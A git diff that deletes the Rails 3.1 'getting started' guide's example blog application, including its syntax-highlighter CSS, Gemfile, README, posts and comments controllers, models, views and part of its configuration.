- border-right: 3px solid #d4d0c8 !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #d4d0c8 !important;
- color: #eee !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #3f5fbf !important;
- background: #eee !important;
- border: 1px solid #d4d0c8 !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #3f5fbf !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #aa7700 !important;
-}
-.syntaxhighlighter .toolbar {
- color: #a0a0a0 !important;
- background: #d4d0c8 !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: #a0a0a0 !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: red !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: #222 !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #708090 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- font-style: italic !important;
- color: #6588A8 !important;
-}
-.syntaxhighlighter .keyword {
- color: #64434d !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #646464 !important;
-}
-.syntaxhighlighter .variable {
- color: #222 !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter .script {
- color: #222 !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #222 !important;
- font-weight: bold !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: red !important;
-}
-
-.syntaxhighlighter .xml .keyword {
- color: #64434d !important;
- font-weight: normal !important;
-}
-.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
- color: #7f007f !important;
-}
-.syntaxhighlighter .xml .string {
- font-style: italic !important;
- color: #6588A8 !important;
-}
diff --git a/railties/guides/code/getting_started/Gemfile b/railties/guides/code/getting_started/Gemfile
deleted file mode 100644
index 51774934cd..0000000000
--- a/railties/guides/code/getting_started/Gemfile
+++ /dev/null
@@ -1,32 +0,0 @@
-source 'http://rubygems.org'
-
-gem 'rails', '3.1.0'
-# Bundle edge Rails instead:
-# gem 'rails', :git => 'git://github.com/rails/rails.git'
-
-gem 'sqlite3'
-
-
-# Gems used only for assets and not required
-# in production environments by default.
-group :assets do
- gem 'sass-rails', " ~> 3.1.0"
- gem 'coffee-rails', "~> 3.1.0"
- gem 'uglifier'
-end
-
-gem 'jquery-rails'
-
-# Use unicorn as the web server
-# gem 'unicorn'
-
-# Deploy with Capistrano
-# gem 'capistrano'
-
-# To use debugger
-# gem 'ruby-debug19', :require => 'ruby-debug'
-
-group :test do
- # Pretty printed test output
- gem 'turn', :require => false
-end
diff --git a/railties/guides/code/getting_started/README b/railties/guides/code/getting_started/README
deleted file mode 100644
index 7c36f2356e..0000000000
--- a/railties/guides/code/getting_started/README
+++ /dev/null
@@ -1,261 +0,0 @@
-== Welcome to Rails
-
-Rails is a web-application framework that includes everything needed to create
-database-backed web applications according to the Model-View-Control pattern.
-
-This pattern splits the view (also called the presentation) into "dumb"
-templates that are primarily responsible for inserting pre-built data in between
-HTML tags. The model contains the "smart" domain objects (such as Account,
-Product, Person, Post) that holds all the business logic and knows how to
-persist themselves to a database. The controller handles the incoming requests
-(such as Save New Account, Update Product, Show Post) by manipulating the model
-and directing data to the view.
-
-In Rails, the model is handled by what's called an object-relational mapping
-layer entitled Active Record. This layer allows you to present the data from
-database rows as objects and embellish these data objects with business logic
-methods. You can read more about Active Record in
-link:files/vendor/rails/activerecord/README.html.
-
-The controller and view are handled by the Action Pack, which handles both
-layers by its two parts: Action View and Action Controller. These two layers
-are bundled in a single package due to their heavy interdependence. This is
-unlike the relationship between the Active Record and Action Pack that is much
-more separate. Each of these packages can be used independently outside of
-Rails. You can read more about Action Pack in
-link:files/vendor/rails/actionpack/README.html.
-
-
-== Getting Started
-
-1. At the command prompt, create a new Rails application:
- <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name)
-
-2. Change directory to <tt>myapp</tt> and start the web server:
- <tt>cd myapp; rails server</tt> (run with --help for options)
-
-3. Go to http://localhost:3000/ and you'll see:
- "Welcome aboard: You're riding Ruby on Rails!"
-
-4. Follow the guidelines to start developing your application. You can find
-the following resources handy:
-
-* The Getting Started Guide: http://guides.rubyonrails.org/getting_started.html
-* Ruby on Rails Tutorial Book: http://www.railstutorial.org/
-
-
-== Debugging Rails
-
-Sometimes your application goes wrong. Fortunately there are a lot of tools that
-will help you debug it and get it back on the rails.
-
-First area to check is the application log files. Have "tail -f" commands
-running on the server.log and development.log. Rails will automatically display
-debugging and runtime information to these files. Debugging info will also be
-shown in the browser on requests from 127.0.0.1.
-
-You can also log your own messages directly into the log file from your code
-using the Ruby logger class from inside your controllers. Example:
-
- class WeblogController < ActionController::Base
- def destroy
- @weblog = Weblog.find(params[:id])
- @weblog.destroy
- logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!")
- end
- end
-
-The result will be a message in your log file along the lines of:
-
- Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1!
-
-More information on how to use the logger is at http://www.ruby-doc.org/core/
-
-Also, Ruby documentation can be found at http://www.ruby-lang.org/. There are
-several books available online as well:
-
-* Programming Ruby: http://www.ruby-doc.org/docs/ProgrammingRuby/ (Pickaxe)
-* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide)
-
-These two books will bring you up to speed on the Ruby language and also on
-programming in general.
-
-
-== Debugger
-
-Debugger support is available through the debugger command when you start your
-Mongrel or WEBrick server with --debugger. This means that you can break out of
-execution at any point in the code, investigate and change the model, and then,
-resume execution! You need to install ruby-debug to run the server in debugging
-mode. With gems, use <tt>sudo gem install ruby-debug</tt>. Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.all
- debugger
- end
- end
-
-So the controller will accept the action, run the first line, then present you
-with a IRB prompt in the server window. Here you can do things like:
-
- >> @posts.inspect
- => "[#<Post:0x14a6be8
- @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>,
- #<Post:0x14a6620
- @attributes={"title"=>"Rails", "body"=>"Only ten..", "id"=>"2"}>]"
- >> @posts.first.title = "hello from a debugger"
- => "hello from a debugger"
-
-...and even better, you can examine how your runtime objects actually work:
-
- >> f = @posts.first
- => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
- >> f.
- Display all 152 possibilities? (y or n)
-
-Finally, when you're ready to resume execution, you can enter "cont".
-
-
-== Console
-
-The console is a Ruby shell, which allows you to interact with your
-application's domain model. Here you'll have all parts of the application
-configured, just like it is when the application is running. You can inspect
-domain models, change values, and save to the database. Starting the script
-without arguments will launch it in the development environment.
-
-To start the console, run <tt>rails console</tt> from the application
-directory.
-
-Options:
-
-* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications
- made to the database.
-* Passing an environment name as an argument will load the corresponding
- environment. Example: <tt>rails console production</tt>.
-
-To reload your controllers and models after launching the console run
-<tt>reload!</tt>
-
-More information about irb can be found at:
-link:http://www.rubycentral.org/pickaxe/irb.html
-
-
-== dbconsole
-
-You can go to the command line of your database directly through <tt>rails
-dbconsole</tt>. You would be connected to the database with the credentials
-defined in database.yml. Starting the script without arguments will connect you
-to the development database. Passing an argument will connect you to a different
-database, like <tt>rails dbconsole production</tt>. Currently works for MySQL,
-PostgreSQL and SQLite 3.
-
-== Description of Contents
-
-The default directory structure of a generated Ruby on Rails application:
-
- |-- app
- | |-- assets
- | |-- images
- | |-- javascripts
- | `-- stylesheets
- | |-- controllers
- | |-- helpers
- | |-- mailers
- | |-- models
- | `-- views
- | `-- layouts
- |-- config
- | |-- environments
- | |-- initializers
- | `-- locales
- |-- db
- |-- doc
- |-- lib
- | `-- tasks
- |-- log
- |-- public
- |-- script
- |-- test
- | |-- fixtures
- | |-- functional
- | |-- integration
- | |-- performance
- | `-- unit
- |-- tmp
- | |-- cache
- | |-- pids
- | |-- sessions
- | `-- sockets
- `-- vendor
- |-- assets
- `-- stylesheets
- `-- plugins
-
-app
- Holds all the code that's specific to this particular application.
-
-app/assets
- Contains subdirectories for images, stylesheets, and JavaScript files.
-
-app/controllers
- Holds controllers that should be named like weblogs_controller.rb for
- automated URL mapping. All controllers should descend from
- ApplicationController which itself descends from ActionController::Base.
-
-app/models
- Holds models that should be named like post.rb. Models descend from
- ActiveRecord::Base by default.
-
-app/views
- Holds the template files for the view that should be named like
- weblogs/index.html.erb for the WeblogsController#index action. All views use
- eRuby syntax by default.
-
-app/views/layouts
- Holds the template files for layouts to be used with views. This models the
- common header/footer method of wrapping views. In your views, define a layout
- using the <tt>layout :default</tt> and create a file named default.html.erb.
- Inside default.html.erb, call <% yield %> to render the view using this
- layout.
-
-app/helpers
- Holds view helpers that should be named like weblogs_helper.rb. These are
- generated for you automatically when using generators for controllers.
- Helpers can be used to wrap functionality for your views into methods.
-
-config
- Configuration files for the Rails environment, the routing map, the database,
- and other dependencies.
-
-db
- Contains the database schema in schema.rb. db/migrate contains all the
- sequence of Migrations for your schema.
-
-doc
- This directory is where your application documentation will be stored when
- generated using <tt>rake doc:app</tt>
-
-lib
- Application specific libraries. Basically, any kind of custom code that
- doesn't belong under controllers, models, or helpers. This directory is in
- the load path.
-
-public
- The directory available for the web server. Also contains the dispatchers and the
- default HTML files. This should be set as the DOCUMENT_ROOT of your web
- server.
-
-script
- Helper scripts for automation and generation.
-
-test
- Unit and functional tests along with fixtures. When using the rails generate
- command, template test files will be generated for you and placed in this
- directory.
-
-vendor
- External libraries that the application depends on. Also includes the plugins
- subdirectory. If the app has frozen rails, those gems also go here, under
- vendor/rails/. This directory is in the load path.
diff --git a/railties/guides/code/getting_started/Rakefile b/railties/guides/code/getting_started/Rakefile
deleted file mode 100644
index e1d1ec8615..0000000000
--- a/railties/guides/code/getting_started/Rakefile
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/usr/bin/env rake
-# Add your own tasks in files placed in lib/tasks ending in .rake,
-# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
-
-require File.expand_path('../config/application', __FILE__)
-
-Blog::Application.load_tasks
diff --git a/railties/guides/code/getting_started/app/assets/images/rails.png b/railties/guides/code/getting_started/app/assets/images/rails.png
deleted file mode 100644
index d5edc04e65..0000000000
--- a/railties/guides/code/getting_started/app/assets/images/rails.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/application.js b/railties/guides/code/getting_started/app/assets/javascripts/application.js
deleted file mode 100644
index 37c7bfcdb5..0000000000
--- a/railties/guides/code/getting_started/app/assets/javascripts/application.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// This is a manifest file that'll be compiled into including all the files listed below.
-// Add new JavaScript/Coffee code in separate files in this directory and they'll automatically
-// be included in the compiled file accessible from http://example.com/assets/application.js
-// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
-// the compiled file.
-//
-//= require jquery
-//= require jquery_ujs
-//= require_tree .
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
deleted file mode 100644
index 761567942f..0000000000
--- a/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
+++ /dev/null
@@ -1,3 +0,0 @@
-# Place all the behaviors and hooks related to the matching controller here.
-# All this logic will automatically be available in application.js.
-# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee
deleted file mode 100644
index 761567942f..0000000000
--- a/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee
+++ /dev/null
@@ -1,3 +0,0 @@
-# Place all the behaviors and hooks related to the matching controller here.
-# All this logic will automatically be available in application.js.
-# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
deleted file mode 100644
index 761567942f..0000000000
--- a/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
+++ /dev/null
@@ -1,3 +0,0 @@
-# Place all the behaviors and hooks related to the matching controller here.
-# All this logic will automatically be available in application.js.
-# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/application.css b/railties/guides/code/getting_started/app/assets/stylesheets/application.css
deleted file mode 100644
index fc25b5723f..0000000000
--- a/railties/guides/code/getting_started/app/assets/stylesheets/application.css
+++ /dev/null
@@ -1,7 +0,0 @@
-/*
- * This is a manifest file that'll automatically include all the stylesheets available in this directory
- * and any sub-directories. You're free to add application-wide styles to this file and they'll appear at
- * the top of the compiled file, but it's generally better to create a new file per style scope.
- *= require_self
- *= require_tree .
-*/ \ No newline at end of file
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
deleted file mode 100644
index e730912783..0000000000
--- a/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
+++ /dev/null
@@ -1,3 +0,0 @@
-// Place all the styles related to the Comments controller here.
-// They will automatically be included in application.css.
-// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss
deleted file mode 100644
index f0ddc6846a..0000000000
--- a/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss
+++ /dev/null
@@ -1,3 +0,0 @@
-// Place all the styles related to the home controller here.
-// They will automatically be included in application.css.
-// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
deleted file mode 100644
index ed4dfd10f2..0000000000
--- a/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
+++ /dev/null
@@ -1,3 +0,0 @@
-// Place all the styles related to the Posts controller here.
-// They will automatically be included in application.css.
-// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss
deleted file mode 100644
index 05188f08ed..0000000000
--- a/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss
+++ /dev/null
@@ -1,56 +0,0 @@
-body {
- background-color: #fff;
- color: #333;
- font-family: verdana, arial, helvetica, sans-serif;
- font-size: 13px;
- line-height: 18px; }
-
-p, ol, ul, td {
- font-family: verdana, arial, helvetica, sans-serif;
- font-size: 13px;
- line-height: 18px; }
-
-pre {
- background-color: #eee;
- padding: 10px;
- font-size: 11px; }
-
-a {
- color: #000;
- &:visited {
- color: #666; }
- &:hover {
- color: #fff;
- background-color: #000; } }
-
-div {
- &.field, &.actions {
- margin-bottom: 10px; } }
-
-#notice {
- color: green; }
-
-.field_with_errors {
- padding: 2px;
- background-color: red;
- display: table; }
-
-#error_explanation {
- width: 450px;
- border: 2px solid red;
- padding: 7px;
- padding-bottom: 0;
- margin-bottom: 20px;
- background-color: #f0f0f0;
- h2 {
- text-align: left;
- font-weight: bold;
- padding: 5px 5px 5px 15px;
- font-size: 12px;
- margin: -7px;
- margin-bottom: 0px;
- background-color: #c00;
- color: #fff; }
- ul li {
- font-size: 12px;
- list-style: square; } }
diff --git a/railties/guides/code/getting_started/app/controllers/application_controller.rb b/railties/guides/code/getting_started/app/controllers/application_controller.rb
deleted file mode 100644
index e8065d9505..0000000000
--- a/railties/guides/code/getting_started/app/controllers/application_controller.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class ApplicationController < ActionController::Base
- protect_from_forgery
-end
diff --git a/railties/guides/code/getting_started/app/controllers/comments_controller.rb b/railties/guides/code/getting_started/app/controllers/comments_controller.rb
deleted file mode 100644
index 7447fd078b..0000000000
--- a/railties/guides/code/getting_started/app/controllers/comments_controller.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-class CommentsController < ApplicationController
- http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy
- def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment])
- redirect_to post_path(@post)
- end
-
- def destroy
- @post = Post.find(params[:post_id])
- @comment = @post.comments.find(params[:id])
- @comment.destroy
- redirect_to post_path(@post)
- end
-
-end
diff --git a/railties/guides/code/getting_started/app/controllers/home_controller.rb b/railties/guides/code/getting_started/app/controllers/home_controller.rb
deleted file mode 100644
index 6cc31c1ca3..0000000000
--- a/railties/guides/code/getting_started/app/controllers/home_controller.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class HomeController < ApplicationController
- def index
- end
-
-end
diff --git a/railties/guides/code/getting_started/app/controllers/posts_controller.rb b/railties/guides/code/getting_started/app/controllers/posts_controller.rb
deleted file mode 100644
index 7e903c984c..0000000000
--- a/railties/guides/code/getting_started/app/controllers/posts_controller.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-class PostsController < ApplicationController
- http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
- # GET /posts
- # GET /posts.json
- def index
- @posts = Post.all
-
- respond_to do |format|
- format.html # index.html.erb
- format.json { render json: @posts }
- end
- end
-
- # GET /posts/1
- # GET /posts/1.json
- def show
- @post = Post.find(params[:id])
-
- respond_to do |format|
- format.html # show.html.erb
- format.json { render json: @post }
- end
- end
-
- # GET /posts/new
- # GET /posts/new.json
- def new
- @post = Post.new
-
- respond_to do |format|
- format.html # new.html.erb
- format.json { render json: @post }
- end
- end
-
- # GET /posts/1/edit
- def edit
- @post = Post.find(params[:id])
- end
-
- # POST /posts
- # POST /posts.json
- def create
- @post = Post.new(params[:post])
-
- respond_to do |format|
- if @post.save
- format.html { redirect_to @post, notice: 'Post was successfully created.' }
- format.json { render json: @post, status: :created, location: @post }
- else
- format.html { render action: "new" }
- format.json { render json: @post.errors, status: :unprocessable_entity }
- end
- end
- end
-
- # PUT /posts/1
- # PUT /posts/1.json
- def update
- @post = Post.find(params[:id])
-
- respond_to do |format|
- if @post.update_attributes(params[:post])
- format.html { redirect_to @post, notice: 'Post was successfully updated.' }
- format.json { head :ok }
- else
- format.html { render action: "edit" }
- format.json { render json: @post.errors, status: :unprocessable_entity }
- end
- end
- end
-
- # DELETE /posts/1
- # DELETE /posts/1.json
- def destroy
- @post = Post.find(params[:id])
- @post.destroy
-
- respond_to do |format|
- format.html { redirect_to posts_url }
- format.json { head :ok }
- end
- end
-end
diff --git a/railties/guides/code/getting_started/app/helpers/application_helper.rb b/railties/guides/code/getting_started/app/helpers/application_helper.rb
deleted file mode 100644
index de6be7945c..0000000000
--- a/railties/guides/code/getting_started/app/helpers/application_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module ApplicationHelper
-end
diff --git a/railties/guides/code/getting_started/app/helpers/comments_helper.rb b/railties/guides/code/getting_started/app/helpers/comments_helper.rb
deleted file mode 100644
index 0ec9ca5f2d..0000000000
--- a/railties/guides/code/getting_started/app/helpers/comments_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module CommentsHelper
-end
diff --git a/railties/guides/code/getting_started/app/helpers/home_helper.rb b/railties/guides/code/getting_started/app/helpers/home_helper.rb
deleted file mode 100644
index 23de56ac60..0000000000
--- a/railties/guides/code/getting_started/app/helpers/home_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module HomeHelper
-end
diff --git a/railties/guides/code/getting_started/app/helpers/posts_helper.rb b/railties/guides/code/getting_started/app/helpers/posts_helper.rb
deleted file mode 100644
index b6e8e67894..0000000000
--- a/railties/guides/code/getting_started/app/helpers/posts_helper.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-module PostsHelper
- def join_tags(post)
- post.tags.map { |t| t.name }.join(", ")
- end
-end
diff --git a/railties/guides/code/getting_started/app/mailers/.gitkeep b/railties/guides/code/getting_started/app/mailers/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/app/mailers/.gitkeep
+++ /dev/null
diff --git a/railties/guides/code/getting_started/app/models/.gitkeep b/railties/guides/code/getting_started/app/models/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/app/models/.gitkeep
+++ /dev/null
diff --git a/railties/guides/code/getting_started/app/models/comment.rb b/railties/guides/code/getting_started/app/models/comment.rb
deleted file mode 100644
index 4e76c5b5b0..0000000000
--- a/railties/guides/code/getting_started/app/models/comment.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Comment < ActiveRecord::Base
- belongs_to :post
-end
diff --git a/railties/guides/code/getting_started/app/models/post.rb b/railties/guides/code/getting_started/app/models/post.rb
deleted file mode 100644
index 61c2b5ae44..0000000000
--- a/railties/guides/code/getting_started/app/models/post.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Post < ActiveRecord::Base
- validates :name, :presence => true
- validates :title, :presence => true,
- :length => { :minimum => 5 }
-
- has_many :comments, :dependent => :destroy
- has_many :tags
-
- accepts_nested_attributes_for :tags, :allow_destroy => :true,
- :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
-end
diff --git a/railties/guides/code/getting_started/app/models/tag.rb b/railties/guides/code/getting_started/app/models/tag.rb
deleted file mode 100644
index 30992e8ba9..0000000000
--- a/railties/guides/code/getting_started/app/models/tag.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Tag < ActiveRecord::Base
- belongs_to :post
-end
diff --git a/railties/guides/code/getting_started/app/views/comments/_comment.html.erb b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb
deleted file mode 100644
index 4c3fbf26cd..0000000000
--- a/railties/guides/code/getting_started/app/views/comments/_comment.html.erb
+++ /dev/null
@@ -1,15 +0,0 @@
-<p>
- <b>Commenter:</b>
- <%= comment.commenter %>
-</p>
-
-<p>
- <b>Comment:</b>
- <%= comment.body %>
-</p>
-
-<p>
- <%= link_to 'Destroy Comment', [comment.post, comment],
- :confirm => 'Are you sure?',
- :method => :delete %>
-</p>
diff --git a/railties/guides/code/getting_started/app/views/comments/_form.html.erb b/railties/guides/code/getting_started/app/views/comments/_form.html.erb
deleted file mode 100644
index d15bdd6b59..0000000000
--- a/railties/guides/code/getting_started/app/views/comments/_form.html.erb
+++ /dev/null
@@ -1,13 +0,0 @@
-<%= form_for([@post, @post.comments.build]) do |f| %>
- <div class="field">
- <%= f.label :commenter %><br />
- <%= f.text_field :commenter %>
- </div>
- <div class="field">
- <%= f.label :body %><br />
- <%= f.text_area :body %>
- </div>
- <div class="actions">
- <%= f.submit %>
- </div>
-<% end %>
diff --git a/railties/guides/code/getting_started/app/views/home/index.html.erb b/railties/guides/code/getting_started/app/views/home/index.html.erb
deleted file mode 100644
index bb4f3dcd1f..0000000000
--- a/railties/guides/code/getting_started/app/views/home/index.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<h1>Hello, Rails!</h1>
-<%= link_to "My Blog", posts_path %>
diff --git a/railties/guides/code/getting_started/app/views/layouts/application.html.erb b/railties/guides/code/getting_started/app/views/layouts/application.html.erb
deleted file mode 100644
index 1e1e4b9a99..0000000000
--- a/railties/guides/code/getting_started/app/views/layouts/application.html.erb
+++ /dev/null
@@ -1,14 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
- <title>Blog</title>
- <%= stylesheet_link_tag "application" %>
- <%= javascript_include_tag "application" %>
- <%= csrf_meta_tags %>
-</head>
-<body style="background: #EEEEEE;">
-
-<%= yield %>
-
-</body>
-</html>
diff --git a/railties/guides/code/getting_started/app/views/posts/_form.html.erb b/railties/guides/code/getting_started/app/views/posts/_form.html.erb
deleted file mode 100644
index e27da7f413..0000000000
--- a/railties/guides/code/getting_started/app/views/posts/_form.html.erb
+++ /dev/null
@@ -1,32 +0,0 @@
-<% @post.tags.build %>
-<%= form_for(@post) do |post_form| %>
- <% if @post.errors.any? %>
- <div id="errorExplanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
- <ul>
- <% @post.errors.full_messages.each do |msg| %>
- <li><%= msg %></li>
- <% end %>
- </ul>
- </div>
- <% end %>
-
- <div class="field">
- <%= post_form.label :name %><br />
- <%= post_form.text_field :name %>
- </div>
- <div class="field">
- <%= post_form.label :title %><br />
- <%= post_form.text_field :title %>
- </div>
- <div class="field">
- <%= post_form.label :content %><br />
- <%= post_form.text_area :content %>
- </div>
- <h2>Tags</h2>
- <%= render :partial => 'tags/form',
- :locals => {:form => post_form} %>
- <div class="actions">
- <%= post_form.submit %>
- </div>
-<% end %>
diff --git a/railties/guides/code/getting_started/app/views/posts/edit.html.erb b/railties/guides/code/getting_started/app/views/posts/edit.html.erb
deleted file mode 100644
index 720580236b..0000000000
--- a/railties/guides/code/getting_started/app/views/posts/edit.html.erb
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Editing post</h1>
-
-<%= render 'form' %>
-
-<%= link_to 'Show', @post %> |
-<%= link_to 'Back', posts_path %>
diff --git a/railties/guides/code/getting_started/app/views/posts/index.html.erb b/railties/guides/code/getting_started/app/views/posts/index.html.erb
deleted file mode 100644
index 45dee1b25f..0000000000
--- a/railties/guides/code/getting_started/app/views/posts/index.html.erb
+++ /dev/null
@@ -1,27 +0,0 @@
-<h1>Listing posts</h1>
-
-<table>
- <tr>
- <th>Name</th>
- <th>Title</th>
- <th>Content</th>
- <th></th>
- <th></th>
- <th></th>
- </tr>
-
-<% @posts.each do |post| %>
- <tr>
- <td><%= post.name %></td>
- <td><%= post.title %></td>
- <td><%= post.content %></td>
- <td><%= link_to 'Show', post %></td>
- <td><%= link_to 'Edit', edit_post_path(post) %></td>
- <td><%= link_to 'Destroy', post, confirm: 'Are you sure?', method: :delete %></td>
- </tr>
-<% end %>
-</table>
-
-<br />
-
-<%= link_to 'New Post', new_post_path %>
diff --git a/railties/guides/code/getting_started/app/views/posts/new.html.erb b/railties/guides/code/getting_started/app/views/posts/new.html.erb
deleted file mode 100644
index 36ad7421f9..0000000000
--- a/railties/guides/code/getting_started/app/views/posts/new.html.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>New post</h1>
-
-<%= render 'form' %>
-
-<%= link_to 'Back', posts_path %>
diff --git a/railties/guides/code/getting_started/app/views/posts/show.html.erb b/railties/guides/code/getting_started/app/views/posts/show.html.erb
deleted file mode 100644
index da78a9527b..0000000000
--- a/railties/guides/code/getting_started/app/views/posts/show.html.erb
+++ /dev/null
@@ -1,31 +0,0 @@
-<p class="notice"><%= notice %></p>
-
-<p>
- <b>Name:</b>
- <%= @post.name %>
-</p>
-
-<p>
- <b>Title:</b>
- <%= @post.title %>
-</p>
-
-<p>
- <b>Content:</b>
- <%= @post.content %>
-</p>
-
-<p>
- <b>Tags:</b>
- <%= join_tags(@post) %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
-
-<h2>Add a comment:</h2>
-<%= render "comments/form" %>
-
-
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %> |
diff --git a/railties/guides/code/getting_started/app/views/tags/_form.html.erb b/railties/guides/code/getting_started/app/views/tags/_form.html.erb
deleted file mode 100644
index 7e424b0e20..0000000000
--- a/railties/guides/code/getting_started/app/views/tags/_form.html.erb
+++ /dev/null
@@ -1,12 +0,0 @@
-<%= form.fields_for :tags do |tag_form| %>
- <div class="field">
- <%= tag_form.label :name, 'Tag:' %>
- <%= tag_form.text_field :name %>
- </div>
- <% unless tag_form.object.nil? || tag_form.object.new_record? %>
- <div class="field">
- <%= tag_form.label :_destroy, 'Remove:' %>
- <%= tag_form.check_box :_destroy %>
- </div>
- <% end %>
-<% end %>
diff --git a/railties/guides/code/getting_started/config.ru b/railties/guides/code/getting_started/config.ru
deleted file mode 100644
index ddf869e921..0000000000
--- a/railties/guides/code/getting_started/config.ru
+++ /dev/null
@@ -1,4 +0,0 @@
-# This file is used by Rack-based servers to start the application.
-
-require ::File.expand_path('../config/environment', __FILE__)
-run Blog::Application
diff --git a/railties/guides/code/getting_started/config/application.rb b/railties/guides/code/getting_started/config/application.rb
deleted file mode 100644
index e914b5a80e..0000000000
--- a/railties/guides/code/getting_started/config/application.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-require File.expand_path('../boot', __FILE__)
-
-require 'rails/all'
-
-if defined?(Bundler)
- # If you precompile assets before deploying to production, use this line
- Bundler.require *Rails.groups(:assets => %w(development test))
- # If you want your assets lazily compiled in production, use this line
- # Bundler.require(:default, :assets, Rails.env)
-end
-
-module Blog
- class Application < Rails::Application
- # Settings in config/environments/* take precedence over those specified here.
- # Application configuration should go into files in config/initializers
- # -- all .rb files in that directory are automatically loaded.
-
- # Custom directories with classes and modules you want to be autoloadable.
- # config.autoload_paths += %W(#{config.root}/extras)
-
- # Only load the plugins named here, in the order given (default is alphabetical).
- # :all can be used as a placeholder for all plugins not explicitly named.
- # config.plugins = [ :exception_notification, :ssl_requirement, :all ]
-
- # Activate observers that should always be running.
- # config.active_record.observers = :cacher, :garbage_collector, :forum_observer
-
- # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
- # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
- # config.time_zone = 'Central Time (US & Canada)'
-
- # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
